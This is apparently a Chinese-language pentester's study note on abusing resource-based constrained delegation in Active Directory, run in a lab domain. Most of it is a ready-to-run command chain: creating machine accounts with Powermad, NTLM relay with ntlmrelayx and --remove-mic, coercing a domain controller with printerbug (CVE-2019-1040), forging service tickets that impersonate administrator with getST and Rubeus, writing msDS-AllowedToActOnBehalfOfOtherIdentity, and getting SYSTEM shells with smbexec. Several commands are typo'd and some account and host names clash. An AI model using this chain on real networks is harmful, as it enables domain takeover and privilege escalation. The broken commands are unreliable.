基于资源的约束性委派
基于资源的约束性委派
也不是新技术了,在网上搜了很多资料,有的很巧妙结合WebDav,有的比较基础一套流水线,无论如何我们不能觉得简单就跳过基础部分的学习,看完之后更要去模仿。
参考文章:https://mp.weixin.qq.com/s/GdmnlsKJJXhElA4GuwxTKQ
http://blog.nsfocus.net/analysis-attacks-entitlement-resource-constrained-delegation/
介绍:只要拥有服务B的权限,就可以配置服务B的基于资源的约束委派,所以可以利用中继配置受信任的委派。参考文章中会写的很清楚。
利用基于资源的约束性委派来进行攻击有两种场景
1、结合NTLM Relay接管域控,如cve-2019-1040
2、进行本地提权(获取到了将机器加入域的用户的权限或Account Operators组内用户权限)
主域:10.10.10.10(机器名:ad,域管:administrator)
辅助域控:10.10.10.20 (机器名:DC2:administrator)
受控机器:10.10.10.12 (机器名:win2008,普通域用户:superman\test)
攻击机器:10.10.10.13 (机器名:kali)
目的:利用ntml relay配置基于资源的约束委派,能获得主域的权限
NTLM Relay 接管域控
利用条件:前提需要有备份域控(辅助域控)
1、添加服务账号:serviceA 密码:123456 一个域账号可以
Import-Module .\powermad.ps1
New-MachineAccount -MachineAccount serviceA -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)
2、触发ntlm relay
2.1执行ntlmrelayx.py脚本,--delegate-access选项是将中继计算机帐户的访问权限委托给攻击者,--escalate-user参数设置serviceA资源委派,--remove-mic参数了是去除mic验证:
impacket-ntlmrelayx -t ldap://10.10.10.10 -smb2support --remove-mic --delegate-access --escalate-user serviceA\$ -debug
2.2利用cve-2019-1040
使用任意域账号(test)SMB连接辅助域控制器,触发printerbug,使辅助域控制器(10.10.10.20)用自己的用户身份回连攻击者主机(10.10.10.13)
python3 printerbug.py superman.com/test:Openx123..@10.10.10.20 10.10.10.13
如图显示即成功,成功配置了从serviceA到DC2的委派
3(1)、使用impacket-getST 获取ST登录DC2
3.1、获取DC2的ST票据,-impersonate 模拟用户,此处模拟administrator,因为域控必有嘛
impacket-getST -spn cifs/DC2.superman.com superman/serviceA\$:123456 -dc-ip 10.10.10.10 -impersonate administrator
3.2、导入票据,smb登录(注意该票据只对DC2有效)
确定dns指向10.10.10.10
export KRB5CCNAME=administrator.ccache
impacket-smbexec -k -no-pass dc2.superman.com
3(2)、使用rubeus获取ST票据,效果与impacket-getST一样,做个记录
先获取serviceA$用户的hash:
Rubeus.exe hash /user:serviceA$ /password:123456 /domain:superman.com
请求DC2机器的cifs票据:
Rubeus.exe s4u /user:serviceA$ /rc4:32ED87BDB5FDC5E9CBA88547376818D4 /domain:superman.com /impersonateuser:administrator /msdsspn:cifs/DC2.superman.com /ptt
提权
利用条件:1、需要设置msDS-AllowedToActOnBehalfOfOtherIdentity属性,2、一个具有SPN的账号(需要一个账号的TGT)。
满足第一个条件:将机器加入域的用户和机器账号本身都有权限修改自身的msDS-AllowedToActOnBehalfOfOtherIdentity属性的值(用户对机器有写权限)。
满足第二个条件:默认所有域用户都可以向一个域添加10个机器账号(机器账号默认具有一些SPN,这些SPN包含了后面用到的cifs)。
因此若当前受控机器的域用户使将机器加入域的用户,也就都满足以上两个条件。
域账号提权
使用powerview枚举已获得得用户对当前计算机是否有写权限(域用户test)
hostname
获取主机名:win2008
Import-Module .\powerview.ps1
Get-DomainUser test -Properties objectsid
Get-DomainObjectAcl -Identity win2008 | ?{$_.SecurityIdentifier -match 'S-1-5-21-122891326-2016718976-2168248543-1124'}
第一次失败了没有任何返回,所以此处暂不能进行rbcd,为了实验得以进行,手动配置下权限
添加机器账号serviceB
Import-Module .\powermad.ps1
New-MachineAccount -MachineAccount serviceB -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force)
查看serviceB的sid
Get-DomainComputer serviceB
配置serviceB到win2008的基于资源约束的委派
$SD =New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList 'O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-122891326-2016718976-2168248543-1127)';
$SDBytes= New-Object byte[] ($SD.BinaryLength);
$SD.GetBinaryForm($SDBytes,0);Get-DomainComputer win2008 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
获取票据进行提权(这一步的时候稍微缓个10秒钟执行)
impacket-getST -spn cifs/win2008.superman.com superman/serviceB\$:123456 -dc-ip 10.10.10.10 -impersonate administrator
export KRB5CCNAME=administrator.ccache
export KRB5CCNAME=administrator.ccache
可以看到成功获得win2008的system权限
机器账号提权
由于iisapppool\defaultapppool或是networkservice账户权限出网时都是以当前机器账户身份进行请求,因此可以利用RBCD进行提权。
可以直接使用:
"https://github.com/pkb1s/SharpAllowedToAct"
添加机器账号,并设置serviceE到sqlserver的基于资源约束的委派:
SharpAllowedToAct.exe -m serviceC -p 123456 -t win2008 -a dc.superman.com -d superman.com
获取票据,并利用票据进行命令执行:
python3getST.py -spn cifs/sqlserver.superman.com superman/serviceC\$:123456 -dc-ip 10.10.10.10 -impersonate administrator
exportKRB5CCNAME=administrator.ccache
python3 smbexec.py -k -no-pass win2008.superman.com
机器账号提权摘得别人的图,最近有项目时间紧凑,挤点时间学的,委派的技术前前后后断断续续的都快搞10天了QAQ。。。